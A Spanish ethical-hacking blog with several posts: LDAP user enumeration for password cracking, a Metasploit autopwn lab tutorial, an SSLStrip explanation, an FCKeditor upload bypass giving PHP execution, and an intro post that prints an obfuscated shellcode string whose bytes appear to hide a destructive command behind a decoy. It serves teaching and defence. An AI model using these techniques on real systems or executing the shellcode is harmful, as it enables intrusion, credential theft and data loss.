Enumeracion LDAP

Hola a todos. Lamentablemente el trabajo hace algo difícil el postear nuevo contenido en este blog, sin embargo, y después de un buen tiempo, me siento a escribir un nuevo post para las personas que de cuando en vez sintonizan este canal.

En esta oportunidad quiero enfocarme en un tema que no siempre aparece en un proyecto de Ethical Hacking, tal es el caso del password cracking. Voy a tocar algo de teoría (bibliografía: www.google.com), definir un probable escenario y dar algunos tips para obtener usuarios válidos dentro de un dominio o un servidor LDAP.

Primero vamos a definir el término "password cracking", según wikipedia:

El password cracking es un proceso informático que consiste en descifrar la contraseña de determinadas aplicaciones elegidas por el usuario. Se trata del rompimiento o desciframiento de claves (passwords).

Un concepto bastante conocido, sin embargo, muchos se preguntarán para qué sirve en un proyecto de Ethical Hacking. Pues para auditar la robustez (o la falta) de políticas de passwords utilizadas en una organización. Como toda etapa del EH, busca tomar evidencias para emitir una recomendación de mejora. En este caso, por ejemplo, si nos encontramos con el password "123456" en un servicio importante la recomendación es implementar una política de passwords que tenga en cuenta entre otras cosas la longitud, el tiempo de expiración, no utilizar palabras de diccionario, no usar cumpleaños, etc. Un buen recurso aquí: www.sans.org/security-resources/policies/Password_Policy.pdf
También pueden realizar una búsqueda con los términos: "password policy", "password policy standard" en nuestro amigo google, seguro dará buenos resultados.

Ahora el escenario. Estamos realizando un EH interno y llegamos a la etapa de password cracking. El cliente ya eligió a qué servicios se hará el test, tenemos un servidor de correos y un servicio de intranet. Tenemos a nuestra disposición varios diccionarios de passwords de varios temas y en distintos idiomas. El problema surge: Si queremos que el test tenga los resultados esperados, ¿qué diccionario de usuarios utilizar?.


Es aqui donde nos aprovechamos de un recurso muy utilizado en redes basadas en Windows, el Active Directory. El directorio activo es la implementación de Windows de LDAP (Lightweight Directory Access Protocol) que contiene un árbol jerarquizado de objetos categorizados. Permite a los administradores de red realizar tareas como establecer políticas , desplegar programas en muchos ordenadores y aplicar actualizaciones críticas a toda la organización. Para nuestros fines, nos centraremos en sólo un tipo de objeto contenido en el árbol: los usuarios.

En resumen, para crear el diccionario vamos a enumerar los usuarios del directorio activo o del servidor LDAP haciendo consultas al árbol y de esta forma armar una base de datos con los nombres de usuario registrados para lanzar el test de password cracking. Tenemos diferentes estrategias para lograr el objetivo de acuerdo al tipo de evaluación:

Black Box.

• En este caso intentamos una conexión anónima al servidor LDAP, para el caso de controladores de dominio en Microsoft Windows 2000 lo más probable es que podamos realizar esta enumeración anónima sin problemas.
• Otra estrategia es escuchar el tráfico en la red para poder obtener un usuario y contraseña válidos y con estas credenciales realizar la enumeración LDAP.
• Además es posible extraer credenciales válidas de diversas formas, como por ejemplo mediante las credenciales de un sistema transaccional a la base de datos, y otras más.

Gray Box y White Box.

• Podemos utilizar las credenciales de un usuario del dominio, o de una cuenta de correo.
• En el 90% de organizaciones en las que he participado en un EH interno la salida a internet es filtrada por medio de un proxy a manera de aumentar la velocidad (a traves de la cache) y restringir a los usuarios según sus privilegios (utilizando el directorio activo). Así que también se puede utilizar estas credenciales.

Pasos a Seguir.

Primero es necesario identificar al DA:

nmap -p389 --open 10.0.0.0/24

En el caso del controlador de dominio el servidor LDAP suele estar en el servidor que utilizamos como DNS.

Una vez identificado el servicio necesitamos hacerle las consultas, pero cómo?? En este caso utilizaremos la herramienta ldapsearch que viene con el paquete ldap-utils. Ok, aprendamos a usar ldapsearch:

man ldapsearch

Luego de leer la pagina del man, buscar ejemplos en google y preguntarle al colega :P, obtenemos el comando.

ldapsearch "objectclass=user" -h 10.0.0.43 -b "dc=organizacion,dc=com,dc=pe" -D "usuario@organizacion.com.pe" -w "passw0rd" > ldapdump.txt

"objectclass=user" Para determinar que solo queremos consultar a objetos del tipo "user"
-h La ip del Directorio Activo
-b La base del directorio LDAP
-D El usuario con el que nos conectamos al servidor
-w El password del usuario
> Dumpeamos todo en un fichero de nombre ldapdump.txt



Wow tenemos un archivo con 64903 lineas! Que buscamos??. En la imagen observamos la entrada de un usuario (alguna información fue cambiada y otra escondida por obvias razones). Ldapsearch nos retorna mucha información sobre el usuario como grupos a los cuales pertenece, la última vez que se logueó en el dominio, quota de la cuenta del correo, etc, etc. Pero a nosotros sólo nos interesa el nombre de usuario. Ese dato se encuentra en la variable "sAMAccountName". Ese es el usuario con el que se loguea a los servicios.

Aprovechamos el poder de nuestra shell bash para cortar el archivo y sólo sacar los usuarios del archivo de texto utilizando los comandos grep, cut y sort.

cat ldapdump.txt | grep 'sAMAccountName' | cut -d' ' -f2 | sort > usersDominio.txt

En la imagen se puede ver el resultado.



El resultado, un fichero de 888 lineas donde cada linea es un usuario.

Done, contamos con una base de datos de todos los usuarios registrados en el dominio. Ahora es momento de utilizar la herramientas de password cracking con la que se sientan más cómodos. Recomiendo Hydra.

Esto es todo, espero les haya gustado, y no duden en dar comentarios/dudas/críticas/quejas.

Gracias a CCuadra por la revisión,

saludos

MVelazco.

Plan de Continuidad del Negocio

Un Plan de Continuidad del Negocio, garantiza la no interrupción de procesos críticos dentro de un negocio. En tecnologías de información, se maneja el mismo concepto y es hacia dónde vamos a orientar el desarrollo del presente tema.

El desarrollo de un Plan de Continuidad del Negocio o BCP (por sus siglas en ingles, las cuales significan Business Continuity Plan), debería contemplar 5 aspectos básicos como parte de su ciclo de vida, estos son:

1. Análisis.
2. Diseño de la solución.
3. Implementación.
4. Pruebas y aceptación del Plan.
5. Mantenimiento.

• El análisis consiste en identificar los procesos críticos de TI que mantienen en correcto funcionamiento el desarrollo de las actividades de la corporación en general, entendiéndose que en la nueva teoría de administración de empresas, el Área de TI que antes era un departamento de apoyo a la toma de decisiones y soporte a las actividades empresariales, ha pasado a ser una de las áreas funcionales en todo negocio, así como lo es Recursos Humanos, Logística, Finanzas o Ventas.

• En lo referente a Diseño de la Solución vamos a detallar como proteger estos procesos que identificamos en la fase anterior, en la medida de lo posible se debe intentar mantener en un funcionamiento “aceptable” los procesos críticos del negocio que son apoyados en la infraestructura informática de la empresa. En esta etapa se elaboran los Planes de Recuperación ante Desastres o DRP (Disaster Recovery Plans) por sus siglas en ingles. Debe entenderse como desastre toda situación que hace compromete la seguridad de la infraestructura informática o incluso puede llegar a convertirla en no disponible. Los desastres se pueden clasificar principalmente en: Desastres naturales, que por su misma naturaleza, son casi imposibles de predecir y a la vez de afrontar. Por otro lado tenemos desastres a causa de un error humano, estos últimos en la mayoría de los casos son más fáciles de reparar.

• La Implementación es probablemente lo más difícil ya que el impacto que puede tener el implementar un BCMS (Business Continuity Management System) – Sistema de Administración de Continuidad del Negocio – es complicado ya que además de involucrar personal para invertir tiempo en el desarrollo del mismo, puede tener un impacto económico considerable dependiendo del alcance y es aquí en donde debemos de preguntarnos: ¿Cual es el impacto de la caída de algún servicio informático critico para la organización y hasta donde nos podría costar la no disponibilidad del mismo? Por ejemplo, una empresa de seguros que no tiene la base de datos de contratos de clientes y coberturas al momento que un cliente es víctima de algún siniestro se puede convertir en un problema bastante grande que incluso podría tener implicancias legales, mucho peor si se trata de un siniestro que pone en riesgo la vida de una persona como lo sería un seguro de salud. Si un cliente sufre una amenaza de infarto y alguien solicita ayuda, puede resultar en el fallecimiento del cliente. Probablemente sea un caso excesivo sin embargo no es una situación imposible de presentarse para el tipo de negocio que hemos puesto de ejemplo que es una empresa de seguros.

• En cuanto a las pruebas, estas deben ser rigurosas, asegurando que realmente la estrategia de BCP es medible bajo dos puntos de vista: Retribución de la inversión y Garantía de Continuidad. Es aquí en donde se muestra el valor real que tienen los DRP creados en la segunda fase. Por último hay un tema de aceptación que debe ser sostenido ante un directorio con los “Tomadores de Decisión” de la corporación.

• Finalmente, como cualquier sistema, este debe tener un proceso de mantenimiento continuo, que garantice el correcto funcionamiento del mismo además de que la estrategia inicial no haya cambiado y de ser este el caso, el mantenimiento hará que la estrategia sea actualizada. Conforme el Área de TI vaya cambiando, así mismo se deberá hacer ajustes en la estrategia inicial de tal manera que esta siga teniendo un valor real para la organización.

El tema de BCP en cuanto a TI se refiere va mas allá de tan solo redundancia en servicios, replicas de bases de datos o ejecución de copias de respaldo, ya que hablamos de copias de respaldo, es interesante ver como siempre nos estamos preocupando de hacer copias de respaldo de la información, sin embargo las guardamos en el mismo lugar en donde queda nuestra oficina. Si ocurriera un incendio en el edificio en donde se ubica esta oficina no nos serviría de nada, cierto? La información se quemaría así como los demás bienes de la empresa, dejándonos imposibilitados de poder restaurarla al adquirir nuevos equipos, es por esta razón que una de las buenas prácticas nos dice que las copias de respaldo no se deben almacenar en el mismo lugar físico en donde se encuentra la empresa ni cerca. En algunos países esta recomendación es llevada a cabo de una forma interesante y es que se hacen alianzas de protección de información, las cuales consisten por ejemplo en que la empresa A almacena las copias de respaldo de la empresa B, cabe resaltar que por mas relación de confianza que haya entre dichas empresas siempre hay consideraciones que se deben tener como por ejemplo intercambiar las medias encriptadas y en cajas que utilicen precintos de seguridad inclusive el uso de una caja fuerte no estaría de más.

Para terminar, enfoquemos el tema de un BCP no solo como una manera de mantenerse a flote sino como una estrategia que mantiene la buena reputación de nuestra organización o acaso nos gustaría que nuestros clientes se quejen de la falta de disponibilidad de nuestros servicios porque algún sistema de información falla o no está disponible en el momento requerido?

Autoexplotación con Metasploit

Bueno este es un tutorial que muestra el uso de metasploit con su modulo de autopwn, mediante un video que se encuentra mas adelante e imágenes; existen varios tutoriales en internet pero no he encontrado ninguno en español y que resuelva los problemas que me fui encontrando en el camino, es por eso que me he tomado la molestia de realizar este tutorial.

La arquitectura que utilice fue OpenSuse 11.1 como explotador (IP 192.168.137.50) y Windows 2000 Professional SP4 como explotado (IP 192.168.137.55).

Instalaciones:

• Lo primero y esencial es instalar nmap, preferiblemente instalarlo de fuentes (http://nmap.org/dist/nmap-4.76.tar.bz2)
• Instalar Nessus desde http://www.nessus.org/download/
• Instalar Postgres Server, en este caso lo instale desde rpm por el Yast.
• Instalar Ruby DESDE FUENTES, aqui es donde tuve pequeños problemas ya que la versión de Ruby que viene en OpenSuse que es Ruby-1.8.7 NO SIRVE, la versión que instale fue la última versión estable SVN (ftp://ftp.ruby-lang.org/pub/ruby/stable-snapshot.tar.gz).
• Instalar RubyGems DESDE FUENTES, la versión que utilice fue la 1.0.0 (http://rubyforge.org/frs/download.php/29516/rubygems-1.0.0.tgz).
• Instalar el ActiveRecord: # gem install activerecord
• Instalar el driver de postgres: # gem install postgres
• Por último instalar Metasploit desde SVN, como se muestra en http://www.metasploit.com/framework/download/

El objetivo de este tutorial es trabajar con metasploit con su modulo autopwn, y para realizar esto importaremos un archivo nessus (nbe) a metasploit.

Lo primero que vamos hacer es correr nmap desde consola (nmap -v -A -sC -p 1-65535 -P0 --reason -oA /root/Desktop/autopwn/nmap_autopwn 192.168.137.55) y que nos dé los resultados en sus tres formatos.

Luego iniciaremos Nessus y exportaremos el archivo *.gnmap a la política que vayamos a crear. Terminado el escaneo de nessus, exportamos el resultado a un archivo *.nbe. (El uso de nmap y nessus escapa al objetivo de este tutorial).

--El video empieza desde este punto--

Listo ahora vayamos a iniciar una instancia de postgres; para realizar esto necesitaremos cambiarnos de usuario ya que root no permite realizar esta acción, hacemos lo siguiente:

# su “usuario”

$ cd /home/”usuario”

$ initdb ~/metasploitdb (Creación de la instancia)
$ pg_ctl -D ~/metasploitdb start (Inicio de postgres)

$ su - (para regresar a root)

Ya tenemos una instancia de postgres iniciada, entonces ahora podemos trabajar con metasploit y lo iniciamos en modo consola:

# cd /root/Programas/metasploit (donde se encuentra mestasploit)

# ./msfconsole

Ahora cargamos postgres en el metasploit con el siguiente comando:

msf > load db_postgres

NOTA: Una vez que cargamos postgres en el metasploit aparecerán nuevos comandos como db_create o db_destroy, etc.

Y luego creamos la base de datos con el siguiente comando:

msf > db_create “usuario”:”passw”@localhost:5432/metasploitdb

Donde: usuario: es el usuario que utilizamos para iniciar la instancia del postgres

passw: cualquier contraseña a utilizar

localhost: porque la instancia de postgres se encuentra en nuestra máquina

5432: puerto que utiliza postgres

metasploitdb: nombre de la base de datos, la cual hemos instanciado

IMPORTANTE: es necesario ingresar todos los parámetros ya que si obviamos uno, no se creará ninguna base de datos.

Nos pedirá ingresar una contraseña, pues entonces ingresamos la misma contraseña que colocamos en el comando explicado arriba.

NOTA: Una vez creada la base de datos aparecerán nuevos comandos como db_hosts, db_services, db_import_*, etc.

Ahora nos toca importar el archivo *.nbe a la base de datos, para eso utilizamos el siguiente comando:

msf > db_import_nessus_nbe “ruta donde se encuentra el archivo”

NOTA: Una vez importada la base de datos mediante los comandos “db_hosts” y “db_services” podemos ver la información que se encuentra en la base de datos.

Ahora que tenemos la base de datos llena, podemos comenzar hacer la explotación automática; mediante el comando en solitario “db_autopwn” podemos apreciar las siguientes opciones:

msf > db_autopwn

[*] Usage: db_autopwn [options]

-h Display this help text

-t Show all matching exploit modules

-x Select modules based on vulnerability references

-p Select modules based on open ports

-e Launch exploits against all matched targets

-r Use a reverse connect shell

-b Use a bind shell on a random port

-q Disable exploit module output

-I [range] Only exploit hosts inside this range

-X [range] Always exclude hosts inside this range

-PI [range] Only exploit hosts with these ports open

-PX [range] Always exclude hosts with these ports open

-m [regex] Only run modules whose name matches the regex

Para sólo ver los exploits que tenemos disponibles para atacar, basados en los puertos que tenemos abiertos, ingresamos el comando:

msf > db_autopwn -t -p

Para sólo ver los exploits que tenemos disponibles para atacar, basados en las vulnerabilidades que tenemos, ingresamos el comando:

msf > db_autopwn -t –x

Listo ya tenemos todo preparado, ahora toca lo más interesante, LA EXPLOTACIÓN, bien pues vamos a explotar el objetivo basándonos en sus vulnerabilidades descubiertas por nessus, entonces ingresamos el siguiente comando:

msf > db_autopwn -t -x -e

Y empieza la explotación.

Al finalizar podremos ver las sesiones creadas durante la explotación con el comando:

msf > sessions –l

Para seleccionar la sesión que queremos, ingresamos el comando:

msf > sessions -i N (donde N es el ID de la sesión)

Vamos a seleccionar la sesión 1 y se generará un CMD de la máquina explotada.


Para finalizar creamos un archivo *.txt y lo colocamos en el escritorio de la máquina explotada.

NOTAS FINALES:

1. El comando db_nmap es el ejecutable /bin/nmap embebido en el metasploit, si utilizamos el comando db_nmap desde metasploit, el resultado se cargará automáticamente en la base de datos creada.
2. Se puede realizar la importación de un resultado de nmap en archivo *.xml con el comando db_import_nmap_xml como lo hicimos con el archivo de nessus.
3. Si se quiere realizar otro análisis distinto y se cargan los datos en la misma base de datos, la autoexplotación de metasploit lo hará a todos los hosts que se encuentren en la base de datos, es recomendable crear nuevamente la base de datos pero bajo el riesgo de perder los datos ingresados anteriormente.

Bueno eso es todo, hasta el próximo post…

VIDEO

SSLStrip

Aprovechando que estuve probando una nueva herramienta, me atrevo a escribir unas líneas para plasmar aquí los resultados, lo aprendido y una que otra divagación propia de una mente ávida de conocimiento.

Como sabemos, hace menos de un mes tuvo lugar la conferencia blackhat, esta vez en Washington. Dentro de las muchas presentaciones, una, expuesta por Moxie Marlinspike abordaba la seguridad de SSL, en específico, la charla se llama New Techniques for defeating SSL. Para Marlinspike la investigación de este tema no es nueva, de hecho, en el 2002 liberó la herramienta sslsniff que aprovechaba un error en la implementación de SSL de algunos navegadores para firmar el certificado de un dominio, con otro, engañando al usuario.

El ataque se basaba en la cadena de confianza, técnicamente hablando utilizaba la cadena de certificados para lograr su objetivo. Una autoridad certificadora válida (CA) firma un certificado válido, pero este último certificado no deberia poder ser usado para firmar mas certificados, obvio no?. Sin embargo, debido a una mala implementación y la no especificación ni lectura del campo basicConstraints, un atacante dueño de un certificado válido, a través de sslsniff que utiliza openssl, firma un certificado fraudulento y dado que la ruta de certificación es válida, el navegador víctima lo toma como válido. Esto significa que cualquiera con un certificado válido podía (ya no es posible debido a que ya fue corregido) crear y firmar otro certificado válido para cualquier otro dominio.
Más info sobre este bug: Aqui. Y el advisor.

En esta oportunidad, la herramienta presentada, sslstrip, no explota una vulnerabilidad propiamente dicha, sino que implementa una ingeniosa manera de engañar a un usuario haciéndole creer que se encuentra en una comunicación cifrada HTTPS cuando en realidad todo el tráfico es HTTP en texto plano. SSLStrip está desarrollado en python y no es otra cosa que un servidor proxy transparente que hace algunas cosas inusuales.

Actualmente el ataque que conozco para "jugar" con comunicaciones HTTPS consta de un MITM con envenamiento ARP. Sin embargo, cualquier usuario avispado dudará en ingresar sus credenciales luego de la advertencia presentada por el navegador respecto al famoso certificado inválido. Hace poco me comentaban que herramientas como ettercap mejoran esta técnica al tomar la información del certificado válido como el Common Name la exponen en el certificado creado por la herramienta para hacer confiar al usuario. Sin embargo, la advertencia siempre se mostrará, y eso no queremos.

La advertencia es mostrada debido a que se crea una comunicación segura en los 2 canales del envenamiento ARP, es decir, uno entre el usuario y el atacante y otro entre el atacante y el servidor Web. Dado esto, es el atacante quien crea su certificado "self signed" y al comprobar el browser del usuario, determinará que no es vállido mostrando esa fea advertencia.

He aquí la innovación de SSLStrip: entre el atacante y el usuario existe una comunicación HTTP sin cifrar y entre el atacante y el Web server existe la comunicación cifrada (Ver imagen). Para esto, SSLStrip que básicamente funciona como un proxy que intercepta comunicaciones HTTP, previo ARP Poison, analiza el tráfico enviado por el usuario y sustituye las comunicaciones cifradas por no cifradas de manera que el usuario visualiza la página que busca, pero sin cifrar. Esto se logra simplemente cambiando cualquier dirección que apunte a un recurso https por un http ya sea links href o redireciones Location.

Esto es posible debido a que normalmente, para llegar a un recurso cifrado HTTPS primero se ingresa mediante HTTP, es decir, la mayoría de veces la única manera de llegar a un cifrado SSL se da a través de links (href) y redirecciones (Location). Me pregunto ¿cuántas personas ingresan a un portal web escribiendo el https adelante?. De hecho conozco varios, incluso algunos demasiado neuróticos al punto que sólo quieren chatear por canales cifrados o que paran con un token en el bolsillo para conectarse a la VPN de su casa para de ahi navegar seguro jajaja, pero son pocos.

Regresando al tema, existen páginas muy conocidas, que presentan todo en HTTP y tan sólo son los Form Action los que apuntan a recursos https entre ellas conocidos bancos gringos o un proveeder de webmail muuuy conocido. Dado esto, SSLStrip sólo tiene que cambiar el link del Form Action para que las credenciales sean enviadas por HTTP logrando capturar las credenciales y significando esto ninguna diferencia para el usuario en cuanto a la visualización.

Veamos como SSLStrip hace el cambio y los resultados conseguidos.

Esta es la versión de el formulario de logueo de Google segura.

Esta es la versión de el formulario de logueo de Google con SSLStrip.

De misma forma, PayPal seguro:

Paypal inseguro:




Es importante mencionar que SSL no está roto, la debilidad (ya que no es una vulnerabilidad) de la que SSLStrip se aprovecha se encuentra en todo el contexto: usuarios no concientizados, portales Web con malos diseños que intentan presentar una idea de seguridad, navegadores, protocolos,etc.

Cabe resaltar que los mecanismos de autenticación que emplean tokens OTP no se encuentran a salvo de este tipo de ataques, pues una vez autenticados podemos usar las cookies de sesión y utilizar los recursos privados, a los cuales no deberíamos tener acceso.

Existen varios métodos para evitar este tipo de ataques, pero en todos es necesario que los usuarios sean concientizados. Entre los métodos para evitar este ataque tenemos:

Desde el lado del cliente:

• Escribir directamente https en la barra de direcciones, con esto primero iniciamos un canal cifrado y dentro de dicho canal se envían las peticiones http, si algún proxy intenta suplantar al servidor o modificar la información que viaja por este canal, el usuario podrá percatarse de ello gracias a las advertencias de los navegadores.

• Verificar la información de seguridad de la web mostrada por el navegador, es decir verificar que se esté usando https, se puede usar https y confundir al usuario usando una técnica llamada homograph attack, pero no si el sitio web usa certificados de validación extendida.

Desde el lado del servidor:

• Evitar usar páginas de autenticación en HTTP con envío a HTTPS o HTTP.

• Evitar el uso de frames, iframes.

• No usar contenido sin cifrar dentro de una web con https, por ejemplo si desean usar alguna imagen, un archivo de javaxript o cualquier otro control, deben ser solicitados vía HTTPS.

• Recordar a los desarolladores que poner un gif de un candadito al costado de donde ingresan las credenciales no convierte a la página en segura.

• En aplicaciones donde se manejan datos muy valiosos se puede considerar implementar la autenticación mutual con certificados.

• En las páginas donde el usuario ingresa información sensible, personal o confidencial, se debe prohibir el tráfico http y por defecto usar HTTPS.

Bueno, eso es todo por ahora, agradecimientos a CC por la ayuda más técnica, hasta otra ocasión.

Vulnerabilidades en FCKeditor

Luego de una buena introducción, empezamos con los posts más técnicos.
Iniciamos con algunas vulnerabilidades bastante sencillas y de criticidad elevada. Estas vulnerabilidades son aún encontradas en muchos servidores Web, tanto de instituciones públicas como privadas en todo el mundo.

Basados en una reciente evaluación, empecemos analizando un editor muy usado por diversas aplicaciones y por desarrolladores. Nos referimos a FCKeditor.

FCKeditor es un editor de texto Open Source del tipo WYSIWYG (What you see is what you get), muy parecido a editores ya conocidos como MS Word o el propio Google Docs. Lo interesante de este editor es que no necesita instalación alguna en el cliente: se basa en el servicio HTTP, es decir, a través de un browser, el usuario puede crear y modificar documentos de texto que luego pueden ser exportados y descargados. Este editor es compatible con la gran mayoría de navegadores conocidos incluyendo a Internet Explorer,
Firefox, Safari, Opera y Netscape.


Algunas de sus características son:
• Generación de código XHTML 1.0
• Soporte CSS
• Incorporar formularios
• Formateo de Fuente
• Cortar, copiar, pegar
• Inserción de imágenes
• Creación de tablas
• Menús contextuales con botón derecho
• Entre otras características

FCKeditor se basa en un núcleo escrito en JavaScript, pero, tambíén es implementado con tecnologías de lado servidor como Asp, Asp.net, Java, PHP, entre otros. Es así que este editor se convierte en una opción para aquel administrador de red que necesite implementar este tipo se soluciones en sus organizaciones.

Ahora viene lo bueno :P, dentro de sus cualidades y al igual que otros muchos sistemas, FCKeditor permite la carga de archivos. En las siguientes líneas veremos cómo es posible vulnerar la carga de archivos de una manera muy simple, para poder ejecutar scripts php. La versión de FCKEditor que hemos utilizado para las pruebas es la 2.4.3 (debido a que es la más desplegada, aunque la 2.6.4 es la más reciente).

Hemos usado una configuración por defecto (como hace el 99.9% de los instaladores), con el connector de carga de archivos habilitado. No está demás aclarar que la información expuesta en este documento es para fines exclusivamente educativos y deberia ser usada por los administradores y desarrolladores de sitios web a fin de solucionar y prevenir posibles intrusiones.

Bien, primero el mensaje "About" que nos muestra la versión utilizada en las pruebas.

El path en donde se encuentra el script que permite la carga de archivos es normalmente el siguiente:

/fckeditor/editor/filemanager/upload/php/upload.php


Como se muestra en la imagen, intentamos subir un archivo php al servidor. El motor de FCKEditor reconoce a esta extensión como no válida y lanza el error "Invalid File". Uy! no podemos hacer nada... o si??. Pues bien, vamos a algo más profundo analizando el código.

Revisemos config.php

 $Config['AllowedExtensions']['File'] = array() ;  
 $Config['DeniedExtensions']['File'] =  
 array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp',  
 'cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis','sh','shtml','shtm','phtm') ;  
 $Config['AllowedExtensions']['Image'] = array('jpg','gif','jpeg','png') ;  
 $Config['DeniedExtensions']['Image'] = array() ;  
 $Config['AllowedExtensions']['Flash'] = array('swf','fla') ;  
 $Config['DeniedExtensions']['Flash'] = array() ;  

Primera observación, si bien es cierto que no es vulnerabilidad, pero sí una mala práctica : permitir todo y tener excepciones de negación. Tomemos como analogía el caso típico de la configuración correcta de un firewall : "denegar todo y luego hacer excepciones de permitir". Como vemos, en este caso, se hace lo contrario, debido a que permite cualquier archivo que no tenga como extensión alguna que este prohibida explícitamente, es decir, se usa una política de aceptar todo y denegar excepciones. Imagínese que desea que sus
usuarios carguen sólo documentos, ¿por qué habría de permitirles que carguen un archivo con extensión "1" o "abc"?.

Analizamos uplodad.php

 // Get the extension.  
 $sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;  
 $sExtension = strtolower( $sExtension ) ;  

He aquí el problema. Para determinar la extensión, lo que se hace es tomar los caracteres luego del punto "." en el archivo. Luego de esto, la extensión en la variable $sExtension es buscada en los arreglos de denegados o permitidos para determinar sí el archivo sera cargado o no.

Aquí podemos indicar un punto importante, no debemos fiarnos del tipo de archivo sólo por la extensión, debemos tener en cuenta el tipo de archivo (mime-type), en php podemos usar la sigueinte sentencia para obtener el tipo de archivo: $_FILES['attachement']['type']

Por ejemplo si deseamos que nuestros usuarios carguen imágenes, entonces primero debemos permitir sólo las extensiones de imágenes que según nuestras políticas de seguridad deban ser permitidas. Luego, debemos verificar el mime-type y por último podemos verificar que sea una imágen válida intentando obtener (mediante código, en tiempo de ejecución) las dimensiones de la misma.

Es asi que si creamos un archivo con una distinta extensión con un pequeño script en php. Notemos que la extensión usada fue "php.1":


La carga de archivos se realizada exitosamente!. Ahora tan sólo tenemos que llamar al archivo desde el browser. Cómo saber cual es la ruta de subida? Afortunadamente FCKEditor nos evita la tarea de determinar dónde y lo muestra en "Uploaded File URL".

Como vemos, el script php fue ejecutado. Por lo tanto vemos otra mala práctica : no debemos permitir la ejecución de archivos cargados por los usuarios. Es decir, debemos aplicar el principio del mínimo privilegio (least privilege). Tenga en cuenta que no siempre es necesario cargar los archivos en un sítio público o que pueda ser accedido públicamente, en ocasiones puede cargar el archivo y sólo ser visto en la red local, o ser visto sólo por las personas que lo requieran.


En este caso hemos cargado un simple hello world, para los que están metidos en esto, se les debe hacer conocido la famosa c99.php que ya permite acciones para la elevación de privilegios.

Las posibilidades con la carga de archivos son muchísimas, desde un simple defacement (aunque bastante publicitados), usar el servidor como un nodo de ataque o tomar control de la red entera.

Recuerden que un atacante que busca algo específico (pueden ser espías, modificar data por dinero, delincuentes, etc) evitará en todo momento ser detectado, por ello, es una buena práctica tener un hash de cada archivo de su aplicación Web.

Tal vez el administrador nunca llegue a enterarse de este tipo de ataques sigilosos, pero pueden causar muchísimo daño, asi que no sólo debemos preocuparnos por los defacers. El advisor que explica el problema puede ser encontrado en

http://secunia.com/advisories/27123/

A modo de conclusión, consideramos necesario resaltar que existen muchas soluciones/sistemas que usan FCKeditor y debemos tener en cuenta que no siempre nos preocupamos por actualizarlos. Por ejemplo en su organización tienen una intranet hecha a la medida, para esta intranet no hay actualizaciones, pero se ha usado FCKeditor, entonces deberían actualizar y configurar apropiadamente este editor, pues representa un vector de ataque de
muy fácil explotación.


La información mostrada en este post contiene vulnerabilidades que son comunes en la mayoría de aplicaciones de carga de archivos (por ejemplo: los muy conocidos avatares en foros y comunidades), por lo tanto, deben ser bastante cuidadosos al momento de usar estafuncionalidad y en el caso de los desarrolladores, siempre tengan en cuenta la seguridad.

De Hacking, Toolz y algo más...

Me pidieron iniciar este blog con un buen "floro" y aunque no tenía mucho de que escribir en este momento, un par de correos me motivaron.

El espíritu de este blog será compartir conocimiento, algo que hacemos a menudo, pero, no siempre de esta forma pública y grupal (tengo un blog personal que no recibe mis descargas pasionarias e intelectuales desde diciembre del 2008).

Somos un grupo de consultores (ya algún lector dira : ah! pense que eran hackers! son simples consultores!) que tienen mucho por compartir gracias a la experiencia ganada por las exigencias de los proyectos que hemos ejecutado y por el interés con que despertamos todos los días por aprender MAS (si es que dormimos...).

En este blog esperamos compartir lo que hemos aprendido utilizando herramientas hechas por otros, como hemos modificado algunas de estas herramientas, herramientas y scripts hechos por nosotros (más que nada scripts) y como se desenvuelve nuestro mundo de ethical hacking.

Uno de los correos que recibí hoy indicaba que una persona desestimaba nuestros servicios por el 99.9% de las herramientas que utilizamos son Software Libre, que es más barato contratar una empresa o persona que corra esas herramientas. No quiero ni saber que piensa sobre aquellos que usan herramientas comerciales.

Este correo me llevo a analizar dos cosas :

1. Qué tanto sabe la gente técnica y aquellos "hackers" (si, los hackers de blog, los pirañas de cabina, genios de baúl, palomillas de MS Windows, gurues de acequia, consultores "con vasta experiencia", instructores copy-paste) sobre hacking en seguridad informática ? Conocen Nessus ? Claro! Pero, saben que hace cada simplón checkbox de Nessus ? Han usado Metagoofil ? Estan seguros que no hay PDFs y/o metadata en ese website revisado con Metagoofil ? Es mejor un escaner de puertos rapido ? Saben como manejar tiempos en un simple escaneo de puertos ?
Saben que hace esto ? :
char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Creen que MetaSploit es EL framework para lanzar ataques ? (en realidad es lo mejor que hay para analizar exploits y payloads)
Hasta ahora nos habiamos limitado a compartir estos conocimientos en charlas, cursos, talleres y conversaciones. Este blog nos permitirá hacerlo de forma más extensiva.
Aca valga una aclaración : las herramientas que hemos modificado solamente son usadas en nuestro trabajo y no hemos hecho públicos los cambios debido a que no tenemos el tiempo para participar como se debe de los proyectos que las han creado y mantienen.

2. Cuán maltratada esta la labor de los consultores ? Esta parte es bien importante porque de nada sirve hacer un buen trabajo de ethical hacking, encontrar y explotar vulnerabilidades si los resultados de la evaluación no le sirven a la organización evaluada.
Esto es un tema que pasa desde el uso de metodologías hasta las técnicas de trabajo en equipo, pero, en un medio tan nuevo para nosotros latinos (salvo algunos paises), no es fácil hacer que las organizaciones entiendan que un consultor si puede tener conocimientos avanzados como un hacker (sin mayor definición complementaria) y que sus recomendaciones son eminentemente técnicas.
También entregaremos mucha información que permita reinvidicar a nuestros queridos Whitehats (bueno, si alguno lavo su sombrero y quedo blanco, también es Whitehat o no ?)

A bloggear!!!!

Este blog deberá servir además como una forma de comunicar temas técnicos, algunas veces simples traducciones de otras novedades porque hay mucha gente que no domina aún el idioma Inglés, Alemán o Francés (no necesiriamente representan los idiomas más usados, pero, son los que manejamos en Open-Sec). Siempre se indicarán los créditos, acá no se "robarán" posts ni se presentarán genialidades como propias si no lo son.